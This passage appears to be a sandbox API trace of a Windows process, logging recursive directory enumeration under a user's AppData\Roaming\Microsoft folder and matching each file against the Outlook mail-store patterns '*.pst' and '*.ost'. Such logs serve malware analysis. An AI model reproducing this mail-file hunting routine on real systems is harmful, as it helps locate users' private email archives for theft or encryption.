cAlternateFileName="S-1-5-~1")) returned 0 [0097.640] FindClose (in: hFindFile=0x7200cd0 | out: hFindFile=0x7200cd0) returned 1 [0097.640] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x3368a590, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3368a590, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="RSA", cAlternateFileName="")) returned 0 [0097.640] FindClose (in: hFindFile=0x7200fd0 | out: hFindFile=0x7200fd0) returned 1 [0097.640] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8033970, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0097.640] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.640] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Document Building Blocks" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0097.640] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" [0097.640] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8033970, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7200fd0 [0097.650] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.650] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8033970, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.650] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 1 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks", pszFile="1033" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0097.651] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" [0097.651] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7200cd0 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="16", cAlternateFileName="")) returned 1 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", pszFile="16" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0097.651] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" [0097.651] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7200d30 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] FindNextFileW (in: hFindFile=0x7200d30, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.651] FindNextFileW (in: hFindFile=0x7200d30, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x46c6ec0, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0097.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.652] PathMatchSpecW (pszFile="Built-In Building Blocks.dotx", pszSpec="*.pst") returned 0 [0097.652] PathMatchSpecW (pszFile="Built-In Building Blocks.dotx", pszSpec="*.ost") returned 0 [0097.652] FindNextFileW (in: hFindFile=0x7200d30, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x46c6ec0, ftLastWriteTime.dwHighDateTime=0x1d2f181, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0097.652] FindClose (in: hFindFile=0x7200d30 | out: hFindFile=0x7200d30) returned 1 [0097.652] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="16", cAlternateFileName="")) returned 0 [0097.652] FindClose (in: hFindFile=0x7200cd0 | out: hFindFile=0x7200cd0) returned 1 [0097.652] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc8059ad0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xc8059ad0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xc8059ad0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 0 [0097.652] FindClose (in: hFindFile=0x7200fd0 | out: hFindFile=0x7200fd0) returned 1 [0097.652] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Excel", cAlternateFileName="")) returned 1 [0097.652] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.652] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Excel" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel" [0097.652] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\*" [0097.652] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7200fd0 [0097.660] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.660] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.660] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.660] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0097.660] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.660] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel", pszFile="XLSTART" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0097.660] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" [0097.660] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7200cd0 [0097.718] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.718] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.718] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.814] FindNextFileW (in: hFindFile=0x7200cd0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0097.814] FindClose (in: hFindFile=0x7200cd0 | out: hFindFile=0x7200cd0) returned 1 [0097.815] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936e39d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x936e39d0, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x936e39d0, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0097.815] FindClose (in: hFindFile=0x7200fd0 | out: hFindFile=0x7200fd0) returned 1 [0097.815] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eb47c00, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eb47c00, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eb47c00, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="IME12", cAlternateFileName="")) returned 1 [0097.815] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.815] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="IME12" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IME12") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IME12" [0097.815] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IME12", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IME12\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IME12\\*" [0097.815] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eb47c00, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eb47c00, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eb47c00, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9b40 [0098.033] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.033] FindNextFileW (in: hFindFile=0x71e9b40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eb47c00, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eb47c00, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eb47c00, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.033] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.034] FindNextFileW (in: hFindFile=0x71e9b40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eb47c00, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eb47c00, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eb47c00, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.034] FindClose (in: hFindFile=0x71e9b40 | out: hFindFile=0x71e9b40) returned 1 [0098.034] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0098.034] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.034] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="IMJP12" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP12") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP12" [0098.034] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP12", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP12\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP12\\*" [0098.034] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9b40 [0098.034] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.034] FindNextFileW (in: hFindFile=0x71e9b40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.034] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.034] FindNextFileW (in: hFindFile=0x71e9b40, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.034] FindClose (in: hFindFile=0x71e9b40 | out: hFindFile=0x71e9b40) returned 1 [0098.034] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0098.034] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.034] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="IMJP8_1" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP8_1" [0098.035] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP8_1", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*" [0098.035] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, 